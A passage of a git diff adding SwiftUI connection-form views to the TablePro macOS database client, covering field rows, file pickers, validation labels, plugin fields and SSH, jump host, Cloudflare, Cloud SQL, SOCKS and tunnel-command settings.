// Only text that is not a whole number stays local; the engine owns the range message when it has one. + private var localError: String? { + let trimmed = text.trimmingCharacters(in: .whitespaces) + guard !trimmed.isEmpty else { return nil } + guard let number = SettingsIntegerInput.parse(trimmed) else { + return String(localized: "Enter a whole number.") + } + guard !range.contains(number), store.issue(for: row) == nil else { return nil } + return String( + format: String(localized: "Enter a number from %@ to %@."), + SettingsFormat.identifier(range.lowerBound), + SettingsFormat.identifier(range.upperBound) + ) + } + + private func write(_ newText: String) { + switch Self.parse(newText) { + case .some(let parsed): + if parsed != value { value = parsed } + case .none: + break + } + } + + // Text that never parsed goes back to the stored value when the field is left. + private func settle() { + if Self.parse(text) == nil { + text = Self.text(for: value) + } + } + + // nil: not a number; .some(nil): empty, the default. + private static func parse(_ text: String) -> Int?? { + let trimmed = text.trimmingCharacters(in: .whitespaces) + if trimmed.isEmpty { return .some(nil) } + guard let number = SettingsIntegerInput.parse(trimmed) else { return nil } + return .some(number) + } + + private static func text(for value: Int?) -> String { + value.map { SettingsFormat.identifier($0) } ?? "" + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorPathRow.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorPathRow.swift new file mode 100644 index 0000000000..0813a3b7fe --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorPathRow.swift @@ -0,0 +1,185 @@ +// +// EditorPathRow.swift +// TablePro +// + +import AppKit +import SwiftUI +import UniformTypeIdentifiers + +struct EditorPathRow: View { + private let title: String + @Binding private var path: String + private let prompt: String? + private let row: EditorRow + @ObservedObject private var store: ConnectionEditorStore + private let buttonTitle: String + private let choose: @MainActor () async -> String? + + @State private var isEdited = false + @FocusState private var isFocused: Bool + + init( + _ title: String, + path: Binding, + prompt: String? = nil, + row: EditorRow, + store: ConnectionEditorStore, + buttonTitle: String = String(localized: "Choose…"), + choose: @escaping @MainActor () async -> String? + ) { + self.title = title + _path = path + self.prompt = prompt + self.row = row + self.store = store + self.buttonTitle = buttonTitle + self.choose = choose + } + + var body: some View { + LabeledContent { + HStack(spacing: 8) { + TextField(text: $path, prompt: prompt.map { Text(verbatim: $0) }) { + Text(verbatim: title) + } + .labelsHidden() + .autocorrectionDisabled() + .focused($isFocused) + .accessibilityIdentifier(row.accessibilityIdentifier) + + Button(buttonTitle) { + Task { + if let chosen = await choose() { path = chosen } + } + } + .accessibilityIdentifier("\(row.accessibilityIdentifier)-choose") + } + } label: { + EditorRowLabel(title, row: row, store: store, isEdited: isEdited) + } + .editorRowFocus(row, store: store, isFocused: $isFocused) + .onChange(of: path) { _ in isEdited = true } + } +} + +// A database file path with Choose… for a file that exists and New… for one the driver creates at connect. +struct EditorDatabaseFileRow: View { + private let title: String + @Binding private var path: String + private let prompt: String? + private let row: EditorRow + @ObservedObject private var store: ConnectionEditorStore + private let chooseIdentifier: String + private let newIdentifier: String + + @State private var isEdited = false + @FocusState private var isFocused: Bool + + init( + _ title: String, + path: Binding, + prompt: String?, + row: EditorRow, + store: ConnectionEditorStore, + chooseIdentifier: String, + newIdentifier: String + ) { + self.title = title + _path = path + self.prompt = prompt + self.row = row + self.store = store + self.chooseIdentifier = chooseIdentifier + self.newIdentifier = newIdentifier + } + + private var newFileExtensions: [String] { store.traits.newDatabaseFileExtensions } + + var body: some View { + LabeledContent { + HStack(spacing: 8) { + TextField(text: $path, prompt: prompt.map { Text(verbatim: $0) }) { + Text(verbatim: title) + } + .labelsHidden() + .autocorrectionDisabled() + .focused($isFocused) + .accessibilityIdentifier(row.accessibilityIdentifier) + + Button(String(localized: "Choose…")) { + Task { await chooseExisting() } + } + .help(String(localized: "Choose an existing database file")) + .accessibilityIdentifier(chooseIdentifier) + + if !newFileExtensions.isEmpty { + Button(String(localized: "New…")) { + Task { await nameNew() } + } + .help(String(localized: "Name a new database file, created when you connect")) + .accessibilityIdentifier(newIdentifier) + } + } + } label: { + EditorRowLabel(title, row: row, store: store, isEdited: isEdited) + } + .editorRowFocus(row, store: store, isFocused: $isFocused) + .onChange(of: path) { _ in isEdited = true } + } + + private func chooseExisting() async { + let chosen = await DatabaseFilePanel.chooseExisting( + for: store.draft.type, + currentPath: path, + in: EditorFilePanel.window(for: store) + ) + if let chosen { path = chosen } + } + + private func nameNew() async { + let chosen = await DatabaseFilePanel.nameNew( + extensions: newFileExtensions, + currentPath: path, + in: EditorFilePanel.window(for: store) + ) + if let chosen { path = chosen } + } +} + +// Open panels for the editor's path rows, as sheets on the editor window. +@MainActor +enum EditorFilePanel { + static func window(for store: ConnectionEditorStore) -> NSWindow? { + store.window ?? NSApp.keyWindow + } + + static func chooseFile( + in window: NSWindow?, + message: String? = nil, + contentTypes: [UTType] = [.data], + showsHiddenFiles: Bool = false, + currentPath: String = "" + ) async -> String? { + let panel = NSOpenPanel() + panel.allowsMultipleSelection = false + panel.canChooseDirectories = false + panel.canChooseFiles = true + panel.allowedContentTypes = contentTypes + panel.showsHiddenFiles = showsHiddenFiles + if let message { panel.message = message } + let trimmed = currentPath.trimmingCharacters(in: .whitespacesAndNewlines) + if !trimmed.isEmpty { + let expanded = (trimmed as NSString).expandingTildeInPath + panel.directoryURL = URL(fileURLWithPath: expanded).deletingLastPathComponent() + } + let response: NSApplication.ModalResponse + if let window { + response = await panel.presentAsSheet(for: window) + } else { + response = await panel.begin() + } + guard response == .OK, let url = panel.url else { return nil } + return url.path(percentEncoded: false) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorRowLabel.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorRowLabel.swift new file mode 100644 index 0000000000..d358013e83 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorRowLabel.swift @@ -0,0 +1,78 @@ +// +// EditorRowLabel.swift +// TablePro +// + +import SwiftUI + +// A row's title, with its issue as the subtitle once the person has touched the field or tried to save. +struct EditorRowLabel: View { + private let title: String + private let row: EditorRow + @ObservedObject private var store: ConnectionEditorStore + private let subtitle: String? + private let isEdited: Bool + + init( + _ title: String, + row: EditorRow, + store: ConnectionEditorStore, + subtitle: String? = nil, + isEdited: Bool = false + ) { + self.title = title + self.row = row + self.store = store + self.subtitle = subtitle + self.isEdited = isEdited + } + + var body: some View { + Text(verbatim: title) + if let issue = EditorIssueVisibility.issue(for: row, in: store, isEdited: isEdited) { + NoticeLabel(issue.message, severity: issue.severity == .error ? .error : .warning) + } else if let subtitle { + Text(verbatim: subtitle) + } + } +} + +@MainActor +enum EditorIssueVisibility { + // A pristine new form is never painted red: its empty required fields show only their prompts until an edit or a + // Save. A focus request does not reveal, since the editor also uses one to place the cursor when it opens. + static func issue(for row: EditorRow, in store: ConnectionEditorStore, isEdited: Bool) -> FieldIssue? { + guard let issue = store.issue(for: row) else { return nil } + let revealed = isEdited || !store.isNew || store.saveError != nil + return revealed ? issue : nil + } +} + +private struct EditorRowFocusModifier: ViewModifier { + let row: EditorRow + @ObservedObject var store: ConnectionEditorStore + let isFocused: FocusState.Binding + + @State private var handledToken: UUID? + + func body(content: Content) -> some View { + content + .onAppear { apply(store.focusRequest) } + .onChange(of: store.focusRequest) { apply($0) } + } + + // Deferred a turn: a facet that was just selected is not in the window yet when the request lands. + private func apply(_ request: FocusRequest?) { + guard let request, request.row == row, request.token != handledToken else { return } + handledToken = request.token + DispatchQueue.main.async { + isFocused.wrappedValue = true + } + } +} + +extension View { + func editorRowFocus(_ row: EditorRow, store: ConnectionEditorStore, isFocused: FocusState.Binding) -> some View { + modifier(EditorRowFocusModifier(row: row, store: store, isFocused: isFocused)) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorTextRow.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorTextRow.swift new file mode 100644 index 0000000000..6c04f20dae --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/EditorTextRow.swift @@ -0,0 +1,65 @@ +// +// EditorTextRow.swift +// TablePro +// + +import SwiftUI + +struct EditorTextRow: View { + private let title: String + @Binding private var text: String + private let prompt: String? + private let row: EditorRow + @ObservedObject private var store: ConnectionEditorStore + + @State private var isEdited = false + @FocusState private var isFocused: Bool + + init(_ title: String, text: Binding, prompt: String? = nil, row: EditorRow, store: ConnectionEditorStore) { + self.title = title + _text = text + self.prompt = prompt + self.row = row + self.store = store + } + + var body: some View { + TextField(text: $text, prompt: prompt.map { Text(verbatim: $0) }) { + EditorRowLabel(title, row: row, store: store, isEdited: isEdited) + } + .autocorrectionDisabled() + .focused($isFocused) + .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store, isFocused: $isFocused) + .onChange(of: text) { _ in isEdited = true } + } +} + +struct EditorSecureRow: View { + private let title: String + @Binding private var text: String + private let prompt: String? + private let row: EditorRow + @ObservedObject private var store: ConnectionEditorStore + + @State private var isEdited = false + @FocusState private var isFocused: Bool + + init(_ title: String, text: Binding, prompt: String? = nil, row: EditorRow, store: ConnectionEditorStore) { + self.title = title + _text = text + self.prompt = prompt + self.row = row + self.store = store + } + + var body: some View { + SecureField(text: $text, prompt: prompt.map { Text(verbatim: $0) }) { + EditorRowLabel(title, row: row, store: store, isEdited: isEdited) + } + .focused($isFocused) + .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store, isFocused: $isFocused) + .onChange(of: text) { _ in isEdited = true } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/Rows/PluginFieldRow.swift b/apple/TablePro/Views/ConnectionForm/Facets/Rows/PluginFieldRow.swift new file mode 100644 index 0000000000..9af9b66195 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/Rows/PluginFieldRow.swift @@ -0,0 +1,179 @@ +// +// PluginFieldRow.swift +// TablePro +// + +import SwiftUI +import TableProPluginKit + +// One plugin-declared field, in the control its kind asks for. The engine has already decided that it shows. +struct PluginFieldRow: View { + private let fieldID: String + @ObservedObject private var store: ConnectionEditorStore + private let title: String? + + @State private var isEdited = false + + // `title` replaces the plugin's label where the facet shows it under a header that already says it. + init(fieldID: String, store: ConnectionEditorStore, title: String? = nil) { + self.fieldID = fieldID + self.store = store + self.title = title + } + + private var row: EditorRow { .plugin(fieldID: fieldID) } + + var body: some View { + if let field = store.pluginField(fieldID), let kind = store.pluginFieldKind(fieldID) { + control(field, kind) + } + } + + @ViewBuilder + private func control(_ field: ConnectionField, _ kind: PluginFieldKind) -> some View { + let value = store.pluginFieldBinding(fieldID) + let name = title ?? field.label + let prompt = field.placeholder.isEmpty ? nil : field.placeholder + switch kind { + case .text: + EditorTextRow(name, text: value, prompt: prompt, row: row, store: store) + case .secure: + EditorSecureRow(name, text: value, prompt: prompt, row: row, store: store) + case .number: + EditorTextRow(name, text: wholeNumberBinding(value), prompt: prompt, row: row, store: store) + case .dropdown(let options): + Picker(selection: trackingEdits(value)) { + ForEach(options, id: \.value) { option in + Text(verbatim: option.label).tag(option.value) + } + } label: { + label(field) + } + .accessibilityIdentifier(row.accessibilityIdentifier) + case .toggle: + Toggle(isOn: toggleBinding(value)) { + label(field) + } + .accessibilityIdentifier(row.accessibilityIdentifier) + case .stepper(let range): + LabeledContent { + ConnectionStepperField( + label: name, + range: ConnectionField.IntRange(range), + defaultValue: field.defaultValue, + value: trackingEdits(value) + ) + .labelsHidden() + .accessibilityIdentifier(row.accessibilityIdentifier) + } label: { + label(field) + } + case .hostList: + LabeledContent { + HostListFieldRow( + label: name, + placeholder: field.placeholder, + defaultPort: store.traits.defaultPort, + value: trackingEdits(value) + ) + .labelsHidden() + .accessibilityElement(children: .contain) + .accessibilityIdentifier(row.accessibilityIdentifier) + } label: { + label(field) + } + case .attachedDatabases: + listEditor { + AttachedDatabaseListEditor(value: trackingEdits(value), databaseType: store.draft.type) + } + case .loadableExtensions: + listEditor { + LoadableExtensionListEditor(value: trackingEdits(value)) + } + case .localDatabaseFile: + EditorDatabaseFileRow( + name, + path: value, + prompt: prompt, + row: row, + store: store, + chooseIdentifier: "\(row.accessibilityIdentifier)-choose", + newIdentifier: "\(row.accessibilityIdentifier)-new" + ) + case .filePath: + EditorPathRow(name, path: value, prompt: prompt, row: row, store: store) { + await EditorFilePanel.chooseFile(in: EditorFilePanel.window(for: store), currentPath: value.wrappedValue) + } + case .awsProfile: + LabeledContent { + SuggestionComboBox( + suggestions: Self.awsProfiles, + placeholder: field.placeholder, + accessibilityLabel: name, + accessibilityIdentifier: row.accessibilityIdentifier, + value: trackingEdits(value) + ) + } label: { + label(field) + } + } + } + + private func label(_ field: ConnectionField) -> EditorRowLabel { + EditorRowLabel(title ?? field.label, row: row, store: store, isEdited: isEdited) + } + + // A list is the whole row, titled by its section header, so its issue sits under it in the same row. + private func listEditor(@ViewBuilder _ editor: () -> Editor) -> some View { + VStack(alignment: .leading, spacing: 6) { + editor() + .accessibilityElement(children: .contain) + .accessibilityIdentifier(row.accessibilityIdentifier) + if let issue = EditorIssueVisibility.issue(for: row, in: store, isEdited: isEdited) { + NoticeLabel(issue.message, severity: issue.severity == .error ? .error : .warning) + } + } + } + + private func trackingEdits(_ binding: Binding) -> Binding { + Binding( + get: { binding.wrappedValue }, + set: { newValue in + guard newValue != binding.wrappedValue else { return } + isEdited = true + binding.wrappedValue = newValue + } + ) + } + + private func toggleBinding(_ binding: Binding) -> Binding { + Binding( + get: { binding.wrappedValue == "true" }, + set: { newValue in + isEdited = true + binding.wrappedValue = newValue ? "true" : "false" + } + ) + } + + // The raw text lands first so a rejected keystroke still changes the value and the field redraws without it. + private func wholeNumberBinding(_ binding: Binding) -> Binding { + Binding( + get: { binding.wrappedValue }, + set: { newValue in + binding.wrappedValue = newValue + let sanitized = ConnectionField.IntRange.wholeNumbers.fieldText(sanitizing: newValue) + if sanitized != newValue { + binding.wrappedValue = sanitized + } + } + ) + } + + private static func awsProfiles() -> [String] { + AWSConfigFile.discoverProfiles( + configContents: AWSConfigFile.readFile(AWSConfigFile.defaultConfigPath), + credentialsContents: AWSConfigFile.readFile(AWSConfigFile.defaultCredentialsPath) + ) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesFacetView.swift new file mode 100644 index 0000000000..77f44f55c6 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesFacetView.swift @@ -0,0 +1,297 @@ +// +// SSHAndProxiesFacetView.swift +// TablePro +// + +import SwiftUI +import TableProSSHConfig +import TableProSSHTransport + +struct SSHAndProxiesFacetView: View { + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + Form { + if let facet = store.layout.facet(.sshAndProxies) { + ForEach(facet.sections) { section in + SSHAndProxiesSectionView(section: section, store: store) + } + } + } + .formStyle(.grouped) + } +} + +private struct SSHAndProxiesSectionView: View { + let section: SectionLayout + @ObservedObject var store: ConnectionEditorStore + + // A code editor is a Section of its own, so a JSON key never sits between two toggles. + private static let standaloneRows: Set = [.builtIn(.cloudSQLServiceAccountKey)] + + private var standaloneRow: EditorRow? { + guard section.rows.count > 1 else { return nil } + return section.rows.first { Self.standaloneRows.contains($0) } + } + + private var inlineRows: [EditorRow] { + guard let standaloneRow else { return section.rows } + return section.rows.filter { $0 != standaloneRow } + } + + private var isHidden: Bool { + section.id == "tunnelPreview" && store.tunnelCommandPreview == nil + } + + var body: some View { + if !isHidden { + Section { + ForEach(inlineRows, id: \.self) { row in + SSHAndProxiesRowView(row: row, store: store) + } + } header: { + if let headerTitle { + Text(headerTitle) + } + } footer: { + if let footer { + Text(footer) + } + } + if let standaloneRow { + Section { + SSHAndProxiesRowView(row: standaloneRow, store: store) + } header: { + Text(String(localized: "Service Account Key")) + } footer: { + Text(String(localized: "Stored in the macOS Keychain and written to a temporary file only while the proxy runs.")) + } + } + } + } + + // The profile and tunnel method pickers already name their section. + private var headerTitle: String? { + switch section.id { + case "sshProfile", "tunnelMethod": return nil + default: return section.title + } + } + + private var footer: String? { + if let footer = section.footer { return footer } + let draft = store.draft + switch section.id { + case "remoteFile": + var lines = [String(localized: "Absolute, or relative to the SSH account's home directory.")] + if store.traits.supportsRemoteDatabaseSession, draft.ssh.remoteFileAccess == .onServer { + lines.append(String(localized: "The SSH server needs python3.")) + } + return lines.joined(separator: "\n") + case "sshAuthentication": + return sshAuthenticationFooter(draft.ssh) + case "sshTwoFactor": + guard draft.ssh.totpMode != .autoGenerate else { return nil } + return String(localized: "If the SSH server asks for a verification code, TablePro prompts you for it when you connect.") + case "sshJumpHosts": + return String( + localized: "Jump hosts are connected in order before reaching the SSH server above. Only key and agent auth are supported for jumps." + ) + case "forwardTo": + return forwardToFooter + case "cloudflareAuthentication": + switch draft.cloudflare.authMethod { + case .browserSSO: + return String(localized: "Signs in to Cloudflare Access once and caches the token, so connecting doesn't open a browser.") + case .serviceToken: + return String( + localized: "The Access application policy must use a Service Auth rule, or Cloudflare still prompts for browser sign-in." + ) + } + case "cloudflareListener": + return draft.cloudflare.exposeToLAN + ? String(localized: "Listens on all interfaces (0.0.0.0), reachable from your local network.") + : String(localized: "Listens only on 127.0.0.1.") + case "cloudSQLInstance": + return String(localized: "Find this on the instance's overview page in the Google Cloud console.") + case "cloudSQLAuthentication": + return cloudSQLAuthenticationFooter(draft.cloudSQLProxy) + case "cloudSQLListener": + return String(localized: "Listens only on 127.0.0.1.") + case "socksCredentials": + return String(localized: "Leave blank to connect without authentication. The password is stored in the macOS Keychain.") + case "tunnelMethod": + return tunnelMethodFooter(draft.tunnelCommand.config.method) + case "tunnelKubernetes": + return String(localized: "The port comes from this connection's own port, forwarded from the resource you name here.") + case "tunnelAWS": + return String( + localized: "The session forwards to this connection's host and port from the target instance, so the target is the bastion rather than the database." + ) + case "tunnelCustom": + return String( + format: String(localized: """ + %1$@ is the local port, %2$@ and %3$@ are this connection's host and port. \ + The command runs directly rather than through a shell, so start it with \ + /usr/bin/env if you need environment variables. + """), + TunnelCommandLine.localPortPlaceholder, + TunnelCommandLine.hostPlaceholder, + TunnelCommandLine.remotePortPlaceholder + ) + default: + return nil + } + } + + private func sshAuthenticationFooter(_ ssh: SSHDraft) -> String? { + switch ssh.authMethod { + case .sshAgent: + return String(localized: """ + Offers the agent key matching this public key file first. With IdentitiesOnly yes \ + in ~/.ssh/config, only that key is offered. + """) + case .privateKey: + guard ssh.privateKeyPath.isEmpty else { return nil } + return String(localized: "Auto-detects from ~/.ssh/config and default key locations.") + case .password, .keyboardInteractive, .none: + return nil + } + } + + private var forwardToFooter: String { + switch store.sshForwardSocketPathAdvice { + case .notAbsolute: + return String(localized: "Enter an absolute path, as it appears on the SSH server.") + case .looksLikeDirectory: + return String(localized: "Point at the socket file itself, not the directory holding it.") + case .none: + guard store.hostAndPortAreUnused else { + return String(localized: "Optional. Set this to reach a database that only listens on a Unix socket.") + } + return String(localized: """ + The SSH server connects to this socket instead of Host and Port. \ + A database on a socket cannot negotiate TLS, so TablePro turns it off; \ + the SSH tunnel still encrypts the whole path. + """) + } + } + + private func cloudSQLAuthenticationFooter(_ proxy: CloudSQLProxyDraft) -> String? { + var lines: [String] = [] + if proxy.authMode == .applicationDefault { + lines.append(String( + localized: "Uses this Mac's Application Default Credentials. Run “gcloud auth application-default login” first, or set GOOGLE_APPLICATION_CREDENTIALS." + )) + } + if proxy.useIAMAuth { + lines.append(String( + localized: "Set the connection's username to the IAM principal, a user email or name@project.iam for a service account. The database password is not used." + )) + } + return lines.isEmpty ? nil : lines.joined(separator: "\n") + } + + private func tunnelMethodFooter(_ method: TunnelCommandMethod) -> String { + switch method { + case .kubectl: + return String(localized: "Forwards a port from a Kubernetes resource with kubectl port-forward.") + case .awsSSM: + return String(localized: "Opens an AWS Systems Manager port forwarding session through a target instance.") + case .custom: + return String(localized: "Runs a command you write. It must open the local port itself.") + } + } +} + +private struct SSHAndProxiesRowView: View { + let row: EditorRow + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + if case .builtIn(let builtIn) = row { + switch builtIn { + case .transport: + SSHAndProxiesTransportPicker(store: store) + case .sshForwardSocketPath: + EditorTextRow( + String(localized: "Socket Path"), + text: store.binding(\.sshForwardUnixSocketPath), + prompt: store.traits.defaultUnixSocketPath ?? "/path/to/database.sock", + row: row, + store: store + ) + case .remoteFilePath, .remoteFileAccess: + SSHAndProxiesRemoteFileRow(row: builtIn, store: store) + case .sshProfile: + SSHAndProxiesProfileRows(store: store) + case .jumpHost(let id): + SSHAndProxiesJumpHostRows(id: id, store: store) + case .addJumpHost: + SSHAndProxiesAddJumpHostRow(store: store) + case .sshProfileMissing, .sshConfigHost, .sshHost, .sshPort, .sshUsername, .sshAuthMethod, .sshPassword, + .sshAgentSocket, .sshIdentityFile, .sshKeyFile, .sshKeyPassphrase, .sshNoAuthenticationNote, + .sshTOTPMode, .sshTOTPSecret, .sshTOTPAlgorithm, .sshTOTPDigits, .sshTOTPPeriod: + SSHAndProxiesSSHRow(row: builtIn, store: store) + case .cloudflareHostname, .cloudflareAuthMethod, .cloudflareSignIn, .cloudflareTokenId, .cloudflareTokenSecret, + .cloudflareAutomaticPort, .cloudflareLocalPort, .cloudflareExposeToLAN, .cloudflareBinary: + TransportCloudflareRow(row: builtIn, store: store) + case .cloudSQLInstance, .cloudSQLAuthMode, .cloudSQLServiceAccountKey, .cloudSQLIAMAuth, .cloudSQLPrivateIP, + .cloudSQLAutomaticPort, .cloudSQLLocalPort, .cloudSQLBinary: + TransportCloudSQLRow(row: builtIn, store: store) + case .socksHost, .socksPort, .socksUsername, .socksPassword: + TransportSOCKSRow(row: builtIn, store: store) + case .tunnelCommandMethod, .kubernetesResource, .kubernetesNamespace, .kubernetesContext, .awsTarget, + .awsProfile, .awsRegion, .tunnelCommand, .tunnelCommandExecutable, .tunnelCommandPreview: + TransportCommandRow(row: builtIn, store: store) + default: + EmptyView() + } + } + } +} + +private struct SSHAndProxiesTransportPicker: View { + @ObservedObject var store: ConnectionEditorStore + + private let row = EditorRow.builtIn(.transport) + + var body: some View { + Picker(selection: store.transportBinding) { + ForEach(store.availableTransports, id: \.self) { transport in + Text(transport?.displayName ?? ConnectionTunnelKind.directDisplayName).tag(transport) + } + } label: { + EditorRowLabel(String(localized: "Connect via"), row: row, store: store, subtitle: store.tunnelHostListAdvice) + } + .accessibilityIdentifier(row.accessibilityIdentifier) + } +} + +private struct SSHAndProxiesRemoteFileRow: View { + let row: BuiltInRow + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + switch row { + case .remoteFilePath: + EditorTextRow( + String(localized: "Path"), + text: store.binding(\.ssh.remoteFilePath), + prompt: "~/database.\(store.traits.fileExtensions.first ?? "db")", + row: .builtIn(row), + store: store + ) + case .remoteFileAccess: + Picker(selection: store.binding(\.ssh.remoteFileAccess)) { + Text(String(localized: "On the Server")).tag(RemoteFileAccess.onServer) + Text(String(localized: "As a Read-Only Copy")).tag(RemoteFileAccess.readOnlyCopy) + } label: { + EditorRowLabel(String(localized: "Open"), row: .builtIn(row), store: store) + } + .accessibilityIdentifier(EditorRow.builtIn(row).accessibilityIdentifier) + default: + EmptyView() + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesJumpHostRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesJumpHostRows.swift new file mode 100644 index 0000000000..9713ca58af --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesJumpHostRows.swift @@ -0,0 +1,174 @@ +// +// SSHAndProxiesJumpHostRows.swift +// TablePro +// + +import SwiftUI +import TableProSSHConfig + +// One jump host as rows of the Jump Hosts section, so every field stays visible and an issue can focus it. +struct SSHAndProxiesJumpHostRows: View { + let id: UUID + @ObservedObject var store: ConnectionEditorStore + + private enum Field: Hashable { + case host + case keyFile + } + + @FocusState private var focusedField: Field? + @State private var handledToken: UUID? + @State private var isEdited = false + + private var row: EditorRow { .builtIn(.jumpHost(id)) } + private var identifier: String { row.accessibilityIdentifier } + private var jumpHost: Binding { store.jumpHostBinding(id) } + private var jumpHosts: [SSHJumpHost] { store.draft.ssh.jumpHosts } + private var index: Int { jumpHosts.firstIndex { $0.id == id } ?? 0 } + + var body: some View { + LabeledContent { + HStack(spacing: 8) { + TextField( + String(localized: "Host"), + text: jumpHost.host, + prompt: Text(verbatim: "bastion.example.com") + ) + .labelsHidden() + .autocorrectionDisabled() + .focused($focusedField, equals: .host) + .accessibilityIdentifier(identifier) + orderButtons + Button { + store.removeJumpHost(id: id) + } label: { + Image(systemName: "minus.circle") + } + .buttonStyle(.borderless) + .help(String(localized: "Remove Jump Host")) + .accessibilityLabel(String(localized: "Remove Jump Host")) + .accessibilityIdentifier("\(identifier)-remove") + } + } label: { + EditorRowLabel( + String(format: String(localized: "Jump Host %lld"), Int64(index + 1)), + row: row, + store: store, + isEdited: isEdited + ) + } + .onAppear { applyFocus(store.focusRequest) } + .onChange(of: store.focusRequest) { applyFocus($0) } + .onChange(of: jumpHost.wrappedValue) { _ in isEdited = true } + + TextField(String(localized: "Port"), text: portText, prompt: Text(verbatim: "22")) + .accessibilityIdentifier("\(identifier)-port") + + TextField(String(localized: "User"), text: jumpHost.username, prompt: Text(verbatim: "admin")) + .autocorrectionDisabled() + .accessibilityIdentifier("\(identifier)-username") + + Picker(String(localized: "Authentication"), selection: jumpHost.authMethod) { + ForEach(SSHJumpAuthMethod.allCases) { method in + Text(Self.title(of: method)).tag(method) + } + } + .accessibilityIdentifier("\(identifier)-auth") + + if jumpHost.wrappedValue.authMethod == .privateKey { + LabeledContent { + HStack(spacing: 8) { + TextField( + String(localized: "Key File"), + text: jumpHost.privateKeyPath, + prompt: Text(verbatim: "~/.ssh/id_ed25519") + ) + .labelsHidden() + .autocorrectionDisabled() + .focused($focusedField, equals: .keyFile) + .accessibilityIdentifier("\(identifier)-key-file") + Button(String(localized: "Choose…")) { + Task { + let message = String(localized: "Choose a private key file") + if let path = await TransportFilePanel.chooseSSHKey(message: message, store: store) { + jumpHost.wrappedValue.privateKeyPath = path + } + } + } + .accessibilityIdentifier("\(identifier)-key-file-choose") + } + } label: { + Text(String(localized: "Key File")) + } + } + } + + @ViewBuilder + private var orderButtons: some View { + if jumpHosts.count > 1 { + Button { + store.moveJumpHosts(fromOffsets: IndexSet(integer: index), toOffset: index - 1) + } label: { + Image(systemName: "arrow.up") + } + .buttonStyle(.borderless) + .disabled(index == 0) + .help(String(localized: "Move Up")) + .accessibilityLabel(String(localized: "Move Up")) + .accessibilityIdentifier("\(identifier)-move-up") + + Button { + store.moveJumpHosts(fromOffsets: IndexSet(integer: index), toOffset: index + 2) + } label: { + Image(systemName: "arrow.down") + } + .buttonStyle(.borderless) + .disabled(index == jumpHosts.count - 1) + .help(String(localized: "Move Down")) + .accessibilityLabel(String(localized: "Move Down")) + .accessibilityIdentifier("\(identifier)-move-down") + } + } + + // Digits only, so a stray letter never wipes the port the field shows. + private var portText: Binding { + Binding( + get: { jumpHost.wrappedValue.port.map(String.init) ?? "" }, + set: { text in + let digits = String(text.filter { ("0"..."9").contains($0) }.prefix(5)) + jumpHost.wrappedValue.port = Int(digits) + } + ) + } + + // The issue covers the whole hop, so focus lands on the field that is missing. + private func applyFocus(_ request: FocusRequest?) { + guard let request, request.row == row, request.token != handledToken else { return } + handledToken = request.token + let hop = jumpHost.wrappedValue + let field: Field = !hop.host.isEmpty && hop.authMethod == .privateKey && hop.privateKeyPath.isEmpty ? .keyFile : .host + DispatchQueue.main.async { + focusedField = field + } + } + + private static func title(of method: SSHJumpAuthMethod) -> String { + switch method { + case .privateKey: return SSHAuthMethod.privateKey.displayName + case .sshAgent: return SSHAuthMethod.sshAgent.displayName + } + } +} + +struct SSHAndProxiesAddJumpHostRow: View { + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + Button(String(localized: "Add Jump Host")) { + let id = store.addJumpHost() + store.focus(facet: .sshAndProxies, row: .builtIn(.jumpHost(id))) + } + .accessibilityIdentifier(EditorRow.builtIn(.addJumpHost).accessibilityIdentifier) + .frame(maxWidth: .infinity, alignment: .trailing) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesSSHRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesSSHRows.swift new file mode 100644 index 0000000000..f8f92cdd89 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/SSHAndProxiesSSHRows.swift @@ -0,0 +1,278 @@ +// +// SSHAndProxiesSSHRows.swift +// TablePro +// + +import SwiftUI +import TableProSSHConfig +import TableProSSHTransport + +struct SSHAndProxiesSSHRow: View { + let row: BuiltInRow + @ObservedObject var store: ConnectionEditorStore + + private var editorRow: EditorRow { .builtIn(row) } + + var body: some View { + switch row { + case .sshProfileMissing: + SSHAndProxiesMissingProfileRow(store: store) + case .sshConfigHost: + SSHAndProxiesPicker(String(localized: "Config Host"), selection: store.sshConfigHostBinding, row: editorRow, store: store) { + Text(String(localized: "Manual")).tag("") + ForEach(store.context.sshConfigEntries) { entry in + Text(verbatim: entry.displayName).tag(entry.host) + } + } + case .sshHost: + EditorTextRow( + String(localized: "SSH Host"), + text: store.binding(\.ssh.host), + prompt: "ssh.example.com", + row: editorRow, + store: store + ) + case .sshPort: + EditorTextRow(String(localized: "SSH Port"), text: store.binding(\.ssh.port), prompt: "22", row: editorRow, store: store) + case .sshUsername: + EditorTextRow( + String(localized: "SSH User"), + text: store.binding(\.ssh.username), + prompt: String(localized: "username"), + row: editorRow, + store: store + ) + case .sshAuthMethod: + SSHAndProxiesPicker(String(localized: "Method"), selection: store.binding(\.ssh.authMethod), row: editorRow, store: store) { + ForEach(SSHAuthMethod.allCases) { method in + Text(method.displayName).tag(method) + } + } + case .sshPassword: + 